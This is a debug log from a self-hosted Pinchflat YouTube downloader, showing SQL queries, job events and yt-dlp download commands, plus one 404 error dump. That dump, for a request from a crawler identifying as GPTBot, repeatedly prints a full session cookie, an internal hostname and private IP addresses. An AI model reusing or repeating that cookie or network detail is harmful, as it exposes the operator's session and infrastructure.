s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:57.269 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=yKiFpDAcOyU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/93/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d0/f8/d0f83b59bcd8b0cd95d1c211008b23f3e52d265a7b1a93ec6829d0727d1335b4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:32:58.914 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.038 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=yKiFpDAcOyU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/93/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d0/f8/d0f83b59bcd8b0cd95d1c211008b23f3e52d265a7b1a93ec6829d0727d1335b4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:33:00.038 [debug] QUERY OK db=0.0ms idle=1036.5ms begin [] 22:33:00.039 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:32:57Z], "/downloads/Last Meals/2024-04-16 MatPat Eats His Last Meal/MatPat Eats His Last Meal [yKiFpDAcOyU].mp4", ~U[2026-03-28 02:33:00Z], 93] 22:33:00.039 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/93/metadata.json.gz", "/config/metadata/media_items/93/thumbnail.jpg", 93, ~U[2026-03-28 02:33:00Z], ~U[2026-03-28 02:33:00Z]] 22:33:00.039 [debug] QUERY OK db=0.0ms commit [] 22:33:00.040 [debug] QUERY OK source="media_items" db=0.6ms idle=977.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [308995363, ~U[2026-03-28 02:33:00Z], 93] 22:33:00.040 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:33:00.040 [info] {"args":{"id":93},"id":92,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":108186899,"event":"job:stop","queue_time":6133853386,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:33:00.041 [debug] QUERY OK source="tasks" db=0.3ms idle=978.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:33:00.041 [debug] QUERY OK source="tasks" db=0.3ms idle=37.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:33:00.041 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [94] 22:33:00.041 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [94] 22:33:00.046 [info] {"args":{"id":95},"id":94,"meta":{},"system_time":1774665180046635788,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:33:00.046 [debug] QUERY OK source="media_items" db=0.0ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [95] 22:33:00.046 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:33:00.047 [debug] QUERY OK source="tasks" db=0.4ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:33:00.047 [debug] QUERY OK source="tasks" db=0.4ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:33:00.047 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:33:00.047 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:33:00.047 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [94, 95] 22:33:00.047 [debug] QUERY OK source="media_items" db=0.4ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [94, 95] 22:33:00.048 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95] 22:33:00.048 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [95] 22:33:00.048 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:33:00.048 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:00.048 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:00.048 [debug] Running yt-dlp command for action: get_downloadable_status 22:33:00.049 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:00.049 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:00.049 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:00.049 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_ugOPkkWMTw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/35/9335d958355eeb4afeb605a36a351ee9788084102acf5540d0ad12e87fdfdc61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:33:00.673 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:02.659 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_ugOPkkWMTw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/35/9335d958355eeb4afeb605a36a351ee9788084102acf5540d0ad12e87fdfdc61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:33:02.659 [debug] Running yt-dlp command for action: download 22:33:02.660 [debug] QUERY OK source="settings" db=0.1ms idle=1597.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:02.660 [debug] QUERY OK source="settings" db=0.0ms idle=1597.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:02.660 [debug] QUERY OK source="settings" db=0.0ms idle=1597.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:02.660 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_ugOPkkWMTw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/54/b9/54b975fb5692431e39f370f8eb6719b621750f1546b1775d470b7e0e8662ffff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:33:04.371 [info] GET /sources/1/force_index 22:33:04.371 [debug] QUERY OK source="settings" db=0.1ms idle=363.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:04.371 [debug] QUERY OK source="settings" db=0.2ms idle=308.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:04.371 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:33:04.371 [error] #PID<0.4847.0> running PinchflatWeb.Endpoint (connection #PID<0.4846.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45512}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4847.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDglSWwEylibnMAAHCD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45512}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45512}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_ (truncated) 22:33:28.915 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:58.118 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Eh2jUzJ-qWs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/54/3f/543f5df5bd178456fab2b1812ec76c6734b87085d6ffcd6b6cb1311c51a410bf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:33:58.131 [debug] Running yt-dlp command for action: download_thumbnail 22:33:58.131 [debug] QUERY OK source="settings" db=0.1ms idle=69.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:58.131 [debug] QUERY OK source="settings" db=0.0ms idle=69.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:58.132 [debug] QUERY OK source="settings" db=0.0ms idle=69.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:58.132 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Eh2jUzJ-qWs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/94/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9b/b6/9bb69c711cc6033f0156af311e10e653549fd4091020115187950c666a49260a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:33:58.917 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.673 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:00.841 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Eh2jUzJ-qWs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/94/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9b/b6/9bb69c711cc6033f0156af311e10e653549fd4091020115187950c666a49260a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:34:00.841 [debug] QUERY OK db=0.0ms idle=779.1ms begin [] 22:34:00.842 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:33:58Z], "/downloads/Last Meals/2023-10-31 WWE’s Seth Rollins Eats His Last Meal/WWE’s Seth Rollins Eats His Last Meal [Eh2jUzJ-qWs].mp4", ~U[2026-03-28 02:34:00Z], 94] 22:34:00.843 [debug] QUERY OK source="media_metadata" 